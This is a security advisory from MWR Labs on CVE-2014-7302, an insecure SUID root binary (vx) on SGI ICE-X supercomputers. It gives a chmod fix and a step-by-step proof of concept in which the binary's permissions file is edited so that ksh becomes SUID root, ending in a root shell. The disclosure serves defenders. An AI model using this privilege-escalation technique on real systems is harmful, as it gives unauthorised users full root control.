[SGI SUID Root Privilege Escalation]
Software: SGI Tempo (SGI ICE-X Supercomputers)
Affected Versions: Unknown
CVE Reference: CVE-2014-7302
Author: Luke Jennings, John Fitzpatrick, MWR Labs
Severity: Medium Risk
Vendor: Silicon Graphics International Corp (SGI)
Vendor Response: Uncooperative
[Description]
A vulnerability exists which allows low privileged local users to escalate
their privileges to root.
[Impact]
Successful exploitation provides full root access to the affected system.
[Cause]
An insecure SUID root binary (/opt/sgi/sgimc/bin/vx).
[Solution]
If removing the vx binary is not an option this issue can be resolved by
altering the file permissions:
# chmod 755 /opt/sgi/sgimc/bin/vx
[Technical Details]
A SUID root binary, believed to be part of the SGI Management Center, exists on
SGI ICE-X supercomputers and is insecurely configured allowing for low
privileged users to escalate their privileges. This binary is shown below:
$ ls -la /opt/sgi/sgimc/bin/vx
-rwsr-sr-x 1 root root 19248 2013-10-04 15:00 /opt/sgi/sgimc/bin/vx
MWR have only observed the vx binary on the admin nodes of ICE-X systems which
are not typically accessible by non administrative users. If present on other
nodes within the environment this issue should be considered a higher risk.
The output below shows the usage options available to users from the vx binary:
user@sgi:~/test> ./vx
Usage: vx -s[:<scanlist>] [-i:<ignorelist>] [<entries>]
vx -x [<entries>]
Options:
-s Scan the current directory or files listed in the specified file.
-i Ignore the directories listed in the specified file.
-x Extract files into the current directory.
NOTE: This program must be run directly or effectively as root.
The "vx" binary provides a means to apply file permissions to all files within
a directory allowing for file permissions to be preserved across nodes in an
efficient fashion. However, the SUID permissions set on this binary mean that
any user can execute it in a manner which allows the user to alter the
permissions of any file, regardless of ownership, and even to arbitrarily
change file permissions. It is therefore possible to utilise the vx binary to
set SUID root permissions on arbitrary files from a low privileged user account
and thus escalate privileges.
[Proof of Concept]
This proof of concept demonstrates how the insecure permissions on this file
can be exploited in order to create a SUID root executable. The example will
use the Korn shell (ksh) for simplicity, but could easily be refactored for
other purposes.
For the purpose of this example the contents of the current working directory
are:
$ ls la
drwxr-xr-x 3 j0hn users 4096 2014-09-01 14:42 .
drwxr-xr-x 13 j0hn users 4096 2014-09-01 14:42 ..
-rwxr-xr-x 1 j0hn users 38312 2014-09-01 14:30 ksh
-rwsr-sr-x 1 root root 19248 2014-08-19 19:41 vx
Run the following command in order to scan the current directory and create a
file named "mwrtestx" that contains information on the file permissions of all
files within your current working directory:
$ vx -s mwrtestx
The file "mwrtestx" will be created with the following content:
ksh^@f3wx92v53X3q3gB46FkQOX1^@5fat040116FkQOX1
vx^@f3S052Tt006bPnJX1^@5Wat040116ZtQOX1
The file mwrtestx contains the file name, file permissions as well as ownership
details. Therefore if the filename "vx" within this file is altered to read
"ksh" the file contents now specify that the "ksh" binary be set the SUID root
permissions currently applied to the "vx" binary:
ksh^@f3S052Tt006bPnJX1^@5Wat040116ZtQOX1
Executing the "vx" binary with the "mwrtestx" file results in the file
permissions within the "mwrtestx" file being applied, in this case resulting in
ksh being altered and made SUID root:
$ vx -x mwrtestx
$ ls la
drwxr-xr-x 3 j0hn users 4096 2014-09-01 14:45 .
drwxr-xr-x 13 j0hn users 4096 2014-09-01 14:45 ..
-rwsr-sr-x 1 root root 38312 2014-08-19 19:41 ksh
-rwsr-sr-x 1 root root 19248 2014-08-19 19:41 vx
To confirm that this has worked effectively ksh should be run:
$ ./ksh
# id
uid=200107(j0hn) gid=16100(users) euid=0(root) egid=0(root) groups=16100(users)
[Detailed Timeline]
SGI have chosen not to co-operate with MWR in the co-ordinated disclosure of
this and other SGI related security issues. MWR are therefore unable to provide
specific version information and other details. Whilst every effort has been
made to ensure the accuracy and usefulness of this advisory it is recommend
that SGI are contacted directly if further information is required.
2014-05-23: Contact with SGI attempted
2014-07-23: Contact with SGI re-attempted
2014-11-20: Contact with SGI re-attempted
2014-12-02: Advisory published
https://labs.mwrinfosecurity.com/advisories/2014/12/02/sgi-suid-root-privilege-escalation/
